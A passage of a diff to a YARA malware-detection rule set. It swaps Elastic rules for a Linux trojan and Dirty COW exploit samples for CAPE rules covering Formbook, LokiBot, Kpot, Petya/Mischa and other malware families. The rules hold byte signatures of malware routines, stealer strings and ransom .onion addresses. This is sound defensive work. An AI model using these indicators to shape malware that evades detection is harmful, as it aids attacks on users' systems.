+		$table_part_2 = {97 57 D7 37 B7 77 F7 0F 8F 4F CF 2F AF 6F EF 1F 9F 5F DF 3F BF 7F FF}
+		$decode = {0F B6 0? 8D ?? FF 8A [2] 0F B6 80 [4] 88 04 ?? 46 0F B6 C? 0F B6 80 [4] 88 4? 01 3B F7}
 
 	condition:
-		all of them
+		4 of them
 }
-rule ELASTIC_Linux_Trojan_Bluez_50E87Fa9 : FILE MEMORY
+rule CAPE_Gootkit : FILE
 {
 	meta:
-		description = "Detects Linux Trojan Bluez (Linux.Trojan.Bluez)"
-		author = "Elastic Security"
-		id = "50e87fa9-f053-4507-ae10-b5d33b693bb3"
-		date = "2021-06-28"
-		modified = "2021-09-16"
-		reference = "1e526b6e3be273489afa8f0a3d50be233b97dc07f85815cc2231a87f5a651ef1"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Bluez.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "53754c538a7dea6f06e37980901350feddc3517821ea42544cb96e371709752f"
+		description = "Gootkit Payload"
+		author = "kevoreilly"
+		id = "8935fd10-ac79-5196-80c2-fc8f2fe185b5"
+		date = "2019-10-30"
+		modified = "2019-10-30"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Gootkit.yar#L1-L11"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "26704b6b0adca51933fc9d5e097930320768fd0e9355dcefc725aee7775316e7"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "67855d65973d0bbdad90299f1432e7f0b4b8b1e6dfd0737ee5bee89161f2a890"
-		severity = "100"
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 70
+		tags = "FILE"
+		cape_type = "Gootkit Payload"
 
 	strings:
-		$a = { 63 68 72 00 6B 69 6C 6C 00 73 74 72 6C 65 6E 00 62 69 6E 64 00 }
+		$code1 = {C7 45 ?? ?? ?? 4? 00 C7 45 ?? ?? 10 40 00 C7 45 E? D8 ?? ?? 00 C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 [1-2] 00 10 40 00 89 [5-6] 43 00 89 ?? ?? 68 E8 80 00 00 FF 15}
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and all of them
 }
-rule ELASTIC_Linux_Exploit_CVE_2016_5195_364F3B7B : FILE MEMORY CVE_2016_5195
+rule CAPE_Mole : FILE
 {
 	meta:
-		description = "Detects Linux Exploit Cve 2016 5195 (Linux.Exploit.CVE-2016-5195)"
-		author = "Elastic Security"
-		id = "364f3b7b-4361-44ca-bf49-e26c123ae4bd"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_CVE_2016_5195.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0d4c43bf0cdd6486a4bcab988517e58b8c15d276f41600e596ecc28b0b728e69"
-		logic_hash = "5950195453232e4752b58c9e466c4df1b5ca2b22d5325730de69cd4178438aa7"
+		description = "Mole Payload"
+		author = "kevoreilly"
+		id = "1185170f-4a5b-5347-807b-ef2af98a1a09"
+		date = "2019-10-30"
+		modified = "2019-10-30"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Mole.yar#L1-L13"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "8be4d190d554a610360c0e04b33da59eb00319395e5b2000d580546ce6503786"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY, CVE-2016-5195"
-		fingerprint = "ec6cf1d090cd57434c4d3c1c3511fd4b683ff109bfd0ce859552d58cbb83984a"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 70
+		tags = "FILE"
+		cape_type = "Mole Payload"
 
 	strings:
-		$a = { 9C 01 7E 24 48 8B 45 90 48 8B 40 08 48 89 45 F8 48 8B 45 F8 48 }
+		$a1 = ".mole0" wide
+		$a2 = "_HELP_INSTRUCTION.TXT" wide
+		$a3 = "-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQ"
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and ( all of ($a*))
 }
-rule ELASTIC_Linux_Exploit_CVE_2016_5195_3A2Ed31B : FILE MEMORY CVE_2016_5195
+rule CAPE_Formbook
 {
 	meta:
-		description = "Detects Linux Exploit Cve 2016 5195 (Linux.Exploit.CVE-2016-5195)"
-		author = "Elastic Security"
-		id = "3a2ed31b-a8be-4aff-af5e-e1ff2676f3f9"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_CVE_2016_5195.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ebbf3bc39ec661e2029d88960a5608e348de92089099019348bc0e891841690f"
-		logic_hash = "30cd10e38cbda719d9c344efd813e9a19e738a5251e3622957c8349e94366a29"
+		description = "Formbook Payload"
+		author = "kevoreilly"
+		id = "3389c0a7-eb86-5465-8a14-63f812d257db"
+		date = "2023-10-13"
+		modified = "2023-10-13"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Formbook.yar#L1-L18"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "63ee4dd6fe5ed2a3e5ee88ba7de48d2c9e0024961a550d0fdb68891c9885e05e"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY, CVE-2016-5195"
-		fingerprint = "0e8e0f58deadf4838464c2f2bc860013e6d47c3d770d0ef743b5dd9021832cae"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 70
+		tags = ""
+		cape_type = "Formbook Payload"
+		packed = "9e38c0c3c516583da526016c4c6a671c53333d3d156562717db79eac63587522"
+		packed = "2379a4e1ccdd7849ad7ea9e11ee55b2052e58dda4628cd4e28c3378de503de23"
 
 	strings:
-		$a = { 55 48 89 E5 48 83 EC 30 48 89 7D D8 48 8B 45 D8 48 89 45 F0 BE 02 00 }
+		$remap_ntdll = {33 56 0? 8D 86 [2] 00 00 68 F0 00 00 00 50 89 56 ?? E8 [4] 8B [1-5] 6A 00 6A 04 8D 4D ?? 51 6A 07 52 56 E8 [4] 8B 45 ?? 83 C4 20 3B}
+		$rc4dec = {F7 E9 C1 FA 03 8B C2 C1 E8 1F 03 C2 8D 04 80 03 C0 03 C0 8B D1 2B D0 8A 04 3A 88 8C 0D [4] 88 84 0D [4] 41 81 F9 00 01 00 00 7C}
+		$decrypt = {8A 50 01 28 10 48 49 75 F7 83 FE 01 76 14 8B C7 8D 4E FF 8D 9B 00 00 00 00 8A 50 01 28 10 40 49 75 F7}
+		$string = {33 C0 66 39 01 74 0B 8D 49 00 40 66 83 3C 41 00 75 F8 8B 55 0C 8D 44 00 02 50 52 51 E8}
+		$mutant = {64 A1 18 00 00 00 8B 40 ?? 89 45 ?? 8B 45 ?? 8B 40 ?? 8B E5 5D C3}
+		$postmsg = {8B 7D 0C 6A 00 6A 00 68 11 01 00 00 57 FF D6 85 C0 75 ?? 50}
 
 	condition:
-		all of them
+		2 of them
 }
-rule ELASTIC_Linux_Exploit_CVE_2016_5195_7448814C : FILE MEMORY CVE_2016_5195
+rule CAPE_Lokibot : FILE
 {
 	meta:
-		description = "Detects Linux Exploit Cve 2016 5195 (Linux.Exploit.CVE-2016-5195)"
-		author = "Elastic Security"
-		id = "7448814c-1685-45a9-9a00-039b30485545"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_CVE_2016_5195.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e95d0783b635e34743109d090af17aef2e507e8c90060d171e71d9ac79e083ba"
-		logic_hash = "0024b2cc22bf6c2dfc3b73ba91080cea8d502659db38d94b19338382e2fc0c84"
+		description = "LokiBot Payload"
+		author = "kevoreilly"
+		id = "8cdf69e2-ecac-5241-adba-c458cce0610f"
+		date = "2022-02-01"
+		modified = "2022-02-01"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/LokiBot.yar#L1-L12"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "a5b3d518371138740e913d2d6ce4fa22d3da5cea7e034c7d6b4b502e6bf44b06"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY, CVE-2016-5195"
-		fingerprint = "25ffa8f3b2356deebc88d8831bc8664edd6543a7d722d6ddd72e89fad18c66e7"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 70
+		tags = "FILE"
+		cape_type = "LokiBot Payload"
 
 	strings:
-		$a = { 9C 01 7E 24 48 8B 45 90 48 8B 40 08 48 89 45 C0 48 8B 45 C0 48 }
+		$a1 = "DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW"
+		$a2 = "last_compatible_version"
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and ( all of ($a*))
 }
-rule ELASTIC_Linux_Exploit_CVE_2016_5195_2Fa988E3 : FILE MEMORY CVE_2016_5195
+rule CAPE_Nettraveler : FILE
 {
 	meta:
-		description = "Detects Linux Exploit Cve 2016 5195 (Linux.Exploit.CVE-2016-5195)"
-		author = "Elastic Security"
-		id = "2fa988e3-dfaf-44c8-bfaa-889778858e22"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_CVE_2016_5195.yar#L61-L79"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "679392e78d4abefc05b885e43aaccc2da235bd7f2a267c6ecfbe2cf824776993"
-		logic_hash = "55c3992ca62ebaf8d45aff818d3261838d239f2004125689ea81edca2cfa59c2"
+		description = "NetTraveler Payload"
+		author = "kevoreilly"
+		id = "242e1c3f-5460-5393-9c07-cfab25860796"
+		date = "2022-06-09"
+		modified = "2022-06-09"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/NetTraveler.yar#L1-L14"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "bf5026f1a1cb3d6986a29d22657a9f1904b362391a6715d7468f8f8aca351233"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY, CVE-2016-5195"
-		fingerprint = "a841f4b929c79eadfa8deeb3a6f410056aec94dd1e0d9c8e5dc31675de936403"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 70
+		tags = "FILE"
+		cape_type = "NetTraveler Payload"
 
 	strings:
-		$a = { 55 48 89 E5 48 83 EC 20 89 7D EC 89 75 E8 8B 45 E8 48 C1 E0 05 48 }
+		$string1 = {4E 61 6D 65 3A 09 25 73 0D 0A 54 79 70 65 3A 09 25 73 0D 0A 53 65 72 76 65 72 3A 09 25 73 0D 0A}
+		$string2 = "Password Expiried Time:"
+		$string3 = "Memory: Total:%dMB,Left:%dMB (for %.2f%s)"
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and all of them
 }
-rule ELASTIC_Linux_Exploit_CVE_2016_5195_Ea8801Ac : FILE MEMORY CVE_2016_5195
+rule CAPE_Blister : FILE
 {
 	meta:
-		description = "Detects Linux Exploit Cve 2016 5195 (Linux.Exploit.CVE-2016-5195)"
-		author = "Elastic Security"
-		id = "ea8801ac-ee95-4294-9cfa-99c773a04183"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_CVE_2016_5195.yar#L81-L99"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "7acccfd8c2e5555a3e3bf979ad2314c12a939c1ef32b66e61e30a712f07164fd"
-		logic_hash = "00a7f71a0559f937ace15465059147839598897467db6176040882d86111bcd2"
+		description = "Blister Loader"
+		author = "kevoreilly"
+		id = "525fc600-2afc-5cf6-bf55-4ce0ea264dca"
+		date = "2023-09-20"
+		modified = "2023-09-20"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Blister.yar#L1-L17"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		hash = "afb77617a4ca637614c429440c78da438e190dd1ca24dc78483aa731d80832c2"
+		hash = "d3eab2a134e7bd3f2e8767a6285b38d19cd3df421e8af336a7852b74f194802c"
+		logic_hash = "f26d85fdf0eb07e67fe38c43c5f6d024bfb7b2a333cb3411f5cdcff6bf5db12d"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY, CVE-2016-5195"
-		fingerprint = "aa191347bdf2e9fdcf6f9591c370b85208a1c46a329bc648268447dbb5ea898f"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 70
+		tags = "FILE"
+		cape_type = "Blister Loader"
 
 	strings:
-		$a = { 55 48 89 E5 48 83 EC 30 89 7D DC 48 89 75 D0 83 7D DC 02 7F 0A B8 01 00 }
+		$protect1 = {50 6A 20 8D 45 ?? 50 8D 45 ?? 50 6A FF FF D7}
+		$protect2 = {48 83 C9 FF 48 8D 55 ?? FF D6 48 8D 87 [2] 00 00 48 8D 4D ?? FF D0}
+		$lock1 = {B9 FF FF FF 7F 89 75 FC 8B C1 F0 FF 45 FC 83 E8 01 75}
+		$lock2 = {B8 FF FF FF 7F 41 BC 01 00 00 00 89 45 40 F0 FF 4D 40 49 2B C4 75}
+		$decode = {0F BE C0 49 03 CC 41 33 C1 44 69 C8 [4] 41 8B C1 C1 E8 0F 44 33 C8 8A 01 84 C0 75 E1 41 81 F9 [4] 74}
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and 2 of them
 }
-rule ELASTIC_Linux_Exploit_CVE_2016_5195_B2Ebdebd : FILE MEMORY CVE_2016_5195
+rule CAPE_Zerot : FILE
 {
 	meta:
-		description = "Detects Linux Exploit Cve 2016 5195 (Linux.Exploit.CVE-2016-5195)"
-		author = "Elastic Security"
-		id = "b2ebdebd-0110-46b4-a97f-27c4c495b23d"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_CVE_2016_5195.yar#L101-L119"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "dee49d4b7f406fd1728dad4dc217484ced2586e014e2cd265ea64eff70a2633d"
-		logic_hash = "a9d6ffa65b503f9aa13a0054fa92e346c86585418b6b72131efc00340f8ec224"
+		description = "ZeroT Payload"
+		author = "kevoreilly"
+		id = "dc5dc18c-2ec6-541d-905c-42543f17b16d"
+		date = "2019-10-30"
+		modified = "2019-10-30"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/ZeroT.yar#L1-L15"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "f60ae25ac3cd741b8bdc5100b5d3c474b5d9fbe8be88bfd184994bae106c3803"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY, CVE-2016-5195"
-		fingerprint = "2a98a2d1be205145eb2d30a57aaa547b30281b31981f0872ba3f7e1d684a0cc2"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 68
+		tags = "FILE"
+		cape_type = "ZeroT Payload"
 
 	strings:
-		$a = { 55 48 89 E5 48 83 EC 30 48 89 7D D8 48 8B 45 D8 48 89 45 F8 BE 02 00 }
+		$decrypt = {8B C1 8D B5 FC FE FF FF 33 D2 03 F1 F7 75 10 88 0C 33 41 8A 04 3A 88 06 81 F9 00 01 00 00 7C E0}
+		$string1 = "(*^GF(9042&*"
+		$string2 = "s2-18rg1-41g3j_.;"
+		$string3 = "GET" wide
+		$string4 = "open"
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and all of them
 }
-rule ELASTIC_Linux_Exploit_CVE_2016_5195_9190D516 : FILE MEMORY CVE_2016_5195
+rule CAPE_Kpot : FILE
 {
 	meta:
-		description = "Detects Linux Exploit Cve 2016 5195 (Linux.Exploit.CVE-2016-5195)"
-		author = "Elastic Security"
-		id = "9190d516-dea0-4d74-9f2c-bd2337538258"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_CVE_2016_5195.yar#L121-L139"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "837ffed1f23293dc9c7cb994601488fc121751a249ffde51326947c33c5fca7f"
-		logic_hash = "370248d2b6bb625d65f160b62f1b4a7d2809f3fedfb98a009b19dab61f0ba57e"
+		description = "Kpot Stealer"
+		author = "kevoreilly"
+		id = "724fd6ac-e734-5952-b459-01cbaffdb89d"
+		date = "2020-10-19"
+		modified = "2020-10-19"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Kpot.yar#L1-L13"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "75abaab9a10e8ac8808425c389238285ab9bd9cb76f0cd03cc1e35b3ea0a1b0f"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY, CVE-2016-5195"
-		fingerprint = "977bafd175a994edaef5f3fa19d19fe161cebb2447ee32fd5d4b0a3b93fb51fa"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 70
+		tags = "FILE"
+		cape_type = "Kpot Payload"
 
 	strings:
-		$a = { 4D 18 48 8B 55 10 48 8B 75 F0 48 8B 45 F8 48 83 EC 08 41 51 }
+		$format = "%s | %s | %s | %s | %s | %s | %s | %d | %s"
+		$username = "username:s:"
+		$os = "OS: %S x%d"
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and 2 of them
 }
-rule ELASTIC_Linux_Exploit_CVE_2016_5195_3B460716 : FILE MEMORY CVE_2016_5195
+rule CAPE_Petrwrap : FILE
 {
 	meta:
-		description = "Detects Linux Exploit Cve 2016 5195 (Linux.Exploit.CVE-2016-5195)"
-		author = "Elastic Security"
-		id = "3b460716-812e-4884-ab66-e01f2e61996d"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_CVE_2016_5195.yar#L141-L159"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "8c4d49d4881ebdab1bd0e083d4e644cfc8eb7af3b96664598526ab3d175fc420"
-		logic_hash = "759e08c9e3405d841aa467c3343cfac01fed9e9d86aca90139d0eae8855942e5"
+		description = "PetrWrap Payload"
+		author = "kevoreilly"
+		id = "83762c87-6e96-50fe-b297-e1a5f893be43"
+		date = "2022-06-09"
+		modified = "2022-06-09"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/PetrWrap.yar#L1-L15"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "6dd1cf5639b63d0ab41b24080dad68d285f2e3969ad34fd724c83e7a0dd4b968"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY, CVE-2016-5195"
-		fingerprint = "900e22d1a157677698a47d49d2deeb52c938e3a790aba689b920ba1bbd7ed39d"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 70
+		tags = "FILE"
+		cape_type = "PetrWrap Payload"
 
 	strings:
-		$a = { 55 48 89 E5 48 83 EC 30 48 89 7D D8 48 8B 45 D8 48 89 45 E8 BE 02 00 }
+		$a1 = "http://petya3jxfp2f7g3i.onion/"
+		$a2 = "http://petya3sen7dyko2n.onion"
+		$b1 = "http://mischapuk6hyrn72.onion/"
+		$b2 = "http://mischa5xyix2mrhd.onion/"
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and ( any of ($a*)) and ( any of ($b*))
 }
-rule ELASTIC_Linux_Exploit_CVE_2016_5195_Ccfd7518 : FILE MEMORY CVE_2016_5195
+rule CAPE_Dreambot : FILE
 {
 	meta:
-		description = "Detects Linux Exploit Cve 2016 5195 (Linux.Exploit.CVE-2016-5195)"
-		author = "Elastic Security"
-		id = "ccfd7518-af6c-4378-bd9c-7267a7f0dab4"
-		date = "2021-04-06"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_CVE_2016_5195.yar#L161-L179"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b1017db71cf195aa565c57fed91ff1cdfcce344dc76526256d5817018f1351bf"
-		logic_hash = "02720152af167f1a7e5707f97aa920c6d955458df58d8ef0d9eba868da6a16af"
+		description = "Dreambot Payload"
+		author = "kevoreilly"
+		id = "675c2fea-fe48-5afd-9fa1-de919134892f"
+		date = "2019-10-30"
+		modified = "2019-10-30"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Dreambot.yar#L1-L14"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "29c6d648d5d38667c5824c2d20a83a20448c2ae6054ddddb2b2b7f8bdb69f74b"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY, CVE-2016-5195"
-		fingerprint = "4797064d6416f2799691ae7df956d0383dfe6094de29fb03fc8233ad89149942"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 70
+		tags = "FILE"
+		cape_type = "Dreambot Payload"
 
 	strings:
-		$a = { 83 45 FC 01 81 7D FC FF E0 F5 05 7F 0A 8B 05 }
+		$a1 = {53 56 33 F6 33 DB C1 6C 24 0C 02 74 2F 8B 02 85 C0 75 11 83 7C 24 0C 02 76 0A 39 42 04 75 05 39 42 08 74 18 43 8A CB D3 C0 33 C6 33 44 24 10 8B F0 89 32 83 C2 04 FF 4C 24 0C 75 D1 5E 5B C2 08 00}
+		$a2 = {53 33 C9 33 DB C1 6C 24 08 02 74 22 56 8B 02 85 C0 8B F0 74 18 33 C1 33 44 24 10 43 8A CB D3 C8 8B CE 89 02 83 C2 04 FF 4C 24 0C 75 E0 5E 5B C2 08 00}
+		$b1 = "Oct  5 2016"
+		$b2 = ".bss"
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and (1 of ($a*)) and ( all of ($b*))
 }
-rule ELASTIC_Linux_Exploit_CVE_2016_5195_D41C2C63 : FILE MEMORY CVE_2016_5195
+rule CAPE_Doomedloader : FILE
 {
 	meta:
-		description = "Detects Linux Exploit Cve 2016 5195 (Linux.Exploit.CVE-2016-5195)"
-		author = "Elastic Security"
-		id = "d41c2c63-1af7-47c9-88a0-16454c9583db"
-		date = "2021-04-06"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_CVE_2016_5195.yar#L181-L199"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a4e5751b4e8fa2e9b70e1e234f435a03290c414f9547dc7709ce2ee4263a35f1"
-		logic_hash = "c9460cfc2b6d686145be9afd3ed670619f04c7155b03caa193222cba8405160d"
+		description = "No description has been set in the source file - CAPE"
+		author = "kevoreilly"
+		id = "88436e71-360e-5719-989f-24e71591ebe0"
+		date = "2024-05-09"
+		modified = "2024-05-09"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/DoomedLoader.yar#L1-L12"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "54a5962ef49ebf987908c4ea1559788f7c96a7e4ea61d2973636e998a0239c77"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY, CVE-2016-5195"
-		fingerprint = "77fb7e9911d1037bba0a718d8983a42ad1877c13d865ce415351d599064ea7ea"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 70
+		tags = "FILE"
+		cape_type = "DoomedLoader Payload"
+		packed = "914b1b3180e7ec1980d0bafe6fa36daade752bb26aec572399d2f59436eaa635"
 
 	strings:
-		$a = { F4 83 45 F0 01 81 7D F0 FF C1 EB 0B 7E D3 C9 C3 }
+		$anti = {48 8B 4C 24 ?? E8 [4] 84 C0 B8 [4] 41 0F 45 C6 EB}
+		$syscall = {49 89 CA 8B 44 24 08 FF 64 24 10}
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and all of them
 }
-rule ELASTIC_Linux_Exploit_CVE_2016_5195_Ffa7F059 : FILE MEMORY CVE_2016_5195
+rule CAPE_Tclient : FILE
 {
 	meta:
-		description = "Detects Linux Exploit Cve 2016 5195 (Linux.Exploit.CVE-2016-5195)"
-		author = "Elastic Security"
-		id = "ffa7f059-b825-4dd6-b10d-e57549a2704f"
-		date = "2021-04-06"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_CVE_2016_5195.yar#L201-L219"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a073c6be047ea7b4500b1ffdc8bdadd9a06f9efccd38c88e0fc976b97b2b2df5"
-		logic_hash = "b558066b80232ceb32c625f49a0ddeccd4b3bc52e664e5a72f2aa7361bcec352"
+		description = "TClient Payload"
+		author = "kevoreilly"
+		id = "38c9ea20-9d91-5fb0-8b3b-170538ad7ea8"
+		date = "2022-06-09"
+		modified = "2022-06-09"
+		reference = "https://github.com/kevoreilly/CAPEv2"
